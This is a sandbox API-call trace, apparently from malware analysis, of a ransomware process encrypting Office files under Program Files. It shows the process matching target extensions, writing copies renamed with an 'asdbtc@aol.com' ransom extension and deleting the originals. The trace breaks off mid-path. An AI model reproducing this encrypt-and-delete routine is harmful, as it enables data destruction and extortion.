[0051.112] lstrlenW (lpString=".xlsx") returned 5 [0051.112] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0051.112] lstrlenW (lpString=".ppt") returned 4 [0051.112] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.112] lstrlenW (lpString=".zip") returned 4 [0051.112] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.112] lstrlenW (lpString=".rar") returned 4 [0051.112] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.112] lstrlenW (lpString=".bz2") returned 4 [0051.112] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.112] lstrlenW (lpString=".7z") returned 3 [0051.112] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.112] lstrlenW (lpString=".dbf") returned 4 [0051.112] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.112] lstrlenW (lpString=".1cd") returned 4 [0051.112] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.112] lstrlenW (lpString=".jpg") returned 4 [0051.112] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.112] lstrlenW (lpString=".doc") returned 4 [0051.112] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.112] lstrlenW (lpString=".docx") returned 5 [0051.112] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0051.112] lstrlenW (lpString=".pdf") returned 4 [0051.112] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.112] lstrlenW (lpString=".xls") returned 4 [0051.113] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.113] lstrlenW (lpString=".xlsx") returned 5 [0051.113] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0051.113] lstrlenW (lpString=".ppt") returned 4 [0051.113] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.113] lstrlenW (lpString=".zip") returned 4 [0051.113] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.113] lstrlenW (lpString=".rar") returned 4 [0051.113] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.113] lstrlenW (lpString=".bz2") returned 4 [0051.113] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.113] lstrlenW (lpString=".7z") returned 3 [0051.113] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.113] lstrlenW (lpString=".dbf") returned 4 [0051.113] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.113] lstrlenW (lpString=".1cd") returned 4 [0051.113] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0051.113] lstrlenW (lpString=".jpg") returned 4 [0051.113] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.113] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.113] lstrlenW (lpString="SETUP.XML") returned 9 [0051.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0051.114] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=5884) returned 1 [0051.114] CloseHandle (hObject=0x1e4) returned 1 [0051.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20 [0051.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0051.114] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.114] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.116] GetLastError () returned 0x0 [0051.116] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x16fc, lpOverlapped=0x0) returned 1 [0051.341] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x1700, lpOverlapped=0x0) returned 1 [0051.342] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0051.342] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.342] SetEndOfFile (hFile=0x1f0) returned 1 [0051.342] CloseHandle (hObject=0x1f0) returned 1 [0051.346] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.346] SetEndOfFile (hFile=0x1e4) returned 1 [0051.347] CloseHandle (hObject=0x1e4) returned 1 [0051.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.347] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 1 [0051.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.348] lstrlenW (lpString=".doc") returned 4 [0051.348] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.348] lstrlenW (lpString=".docx") returned 5 [0051.348] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.348] lstrlenW (lpString=".pdf") returned 4 [0051.348] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.348] lstrlenW (lpString=".xls") returned 4 [0051.348] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.348] lstrlenW (lpString=".xlsx") returned 5 [0051.348] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.348] lstrlenW (lpString=".ppt") returned 4 [0051.348] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.348] lstrlenW (lpString=".zip") returned 4 [0051.348] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.348] lstrlenW (lpString=".rar") returned 4 [0051.348] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.348] lstrlenW (lpString=".bz2") returned 4 [0051.348] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.348] lstrlenW (lpString=".7z") returned 3 [0051.348] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.348] lstrlenW (lpString=".dbf") returned 4 [0051.348] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.348] lstrlenW (lpString=".1cd") returned 4 [0051.349] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.349] lstrlenW (lpString=".jpg") returned 4 [0051.349] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.349] lstrlenW (lpString=".doc") returned 4 [0051.349] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.349] lstrlenW (lpString=".docx") returned 5 [0051.349] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.349] lstrlenW (lpString=".pdf") returned 4 [0051.349] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.349] lstrlenW (lpString=".xls") returned 4 [0051.349] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.349] lstrlenW (lpString=".xlsx") returned 5 [0051.349] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.349] lstrlenW (lpString=".ppt") returned 4 [0051.349] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.349] lstrlenW (lpString=".zip") returned 4 [0051.349] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.349] lstrlenW (lpString=".rar") returned 4 [0051.349] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.349] lstrlenW (lpString=".bz2") returned 4 [0051.349] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.349] lstrlenW (lpString=".7z") returned 3 [0051.349] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.349] lstrlenW (lpString=".dbf") returned 4 [0051.349] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.349] lstrlenW (lpString=".1cd") returned 4 [0051.350] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0051.350] lstrlenW (lpString=".jpg") returned 4 [0051.350] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.350] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0051.350] lstrlenW (lpString="SETUP.XML") returned 9 [0051.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.789] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1608) returned 1 [0051.789] CloseHandle (hObject=0x204) returned 1 [0051.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0051.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.789] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.789] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0051.790] GetLastError () returned 0x0 [0051.790] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x648, lpOverlapped=0x0) returned 1 [0051.910] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x650, lpOverlapped=0x0) returned 1 [0051.913] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0051.913] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.913] SetEndOfFile (hFile=0x1f4) returned 1 [0051.913] CloseHandle (hObject=0x1f4) returned 1 [0051.914] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.914] SetEndOfFile (hFile=0x204) returned 1 [0051.914] CloseHandle (hObject=0x204) returned 1 [0051.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.915] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0051.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.915] lstrlenW (lpString=".doc") returned 4 [0051.915] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.915] lstrlenW (lpString=".docx") returned 5 [0051.915] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.915] lstrlenW (lpString=".pdf") returned 4 [0051.915] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.915] lstrlenW (lpString=".xls") returned 4 [0051.915] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.915] lstrlenW (lpString=".xlsx") returned 5 [0051.915] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.915] lstrlenW (lpString=".ppt") returned 4 [0051.915] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.916] lstrlenW (lpString=".zip") returned 4 [0051.916] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.916] lstrlenW (lpString=".rar") returned 4 [0051.916] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.916] lstrlenW (lpString=".bz2") returned 4 [0051.916] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.916] lstrlenW (lpString=".7z") returned 3 [0051.916] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.916] lstrlenW (lpString=".dbf") returned 4 [0051.916] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.916] lstrlenW (lpString=".1cd") returned 4 [0051.916] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.916] lstrlenW (lpString=".jpg") returned 4 [0051.916] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.916] lstrlenW (lpString=".doc") returned 4 [0051.916] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0051.916] lstrlenW (lpString=".docx") returned 5 [0051.916] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0051.916] lstrlenW (lpString=".pdf") returned 4 [0051.916] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0051.916] lstrlenW (lpString=".xls") returned 4 [0051.916] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0051.916] lstrlenW (lpString=".xlsx") returned 5 [0051.917] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0051.917] lstrlenW (lpString=".ppt") returned 4 [0051.917] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0051.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.917] lstrlenW (lpString=".zip") returned 4 [0051.917] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0051.917] lstrlenW (lpString=".rar") returned 4 [0051.917] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0051.917] lstrlenW (lpString=".bz2") returned 4 [0051.917] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0051.917] lstrlenW (lpString=".7z") returned 3 [0051.917] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0051.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.917] lstrlenW (lpString=".dbf") returned 4 [0051.917] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0051.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.917] lstrlenW (lpString=".1cd") returned 4 [0051.917] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0051.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0051.917] lstrlenW (lpString=".jpg") returned 4 [0051.917] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0051.917] lstrcmpiW (lpString1=".HTM", lpString2=".asd") returned 1 [0051.917] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0051.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.919] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=11463) returned 1 [0051.919] CloseHandle (hObject=0x204) returned 1 [0051.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0051.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0051.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.919] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.919] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0051.925] GetLastError () returned 0x0 [0051.925] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x2cc7, lpOverlapped=0x0) returned 1 [0051.926] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x2cd0, lpOverlapped=0x0) returned 1 [0051.927] ReadFile (in: hFile=0x204, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0051.927] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.928] SetEndOfFile (hFile=0x1f4) returned 1 [0051.928] CloseHandle (hObject=0x1f4) returned 1 [0051.928] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0051.928] SetEndOfFile (hFile=0x204) returned 1 [0051.929] CloseHandle (hObject=0x204) returned 1 [0051.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0051.929] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 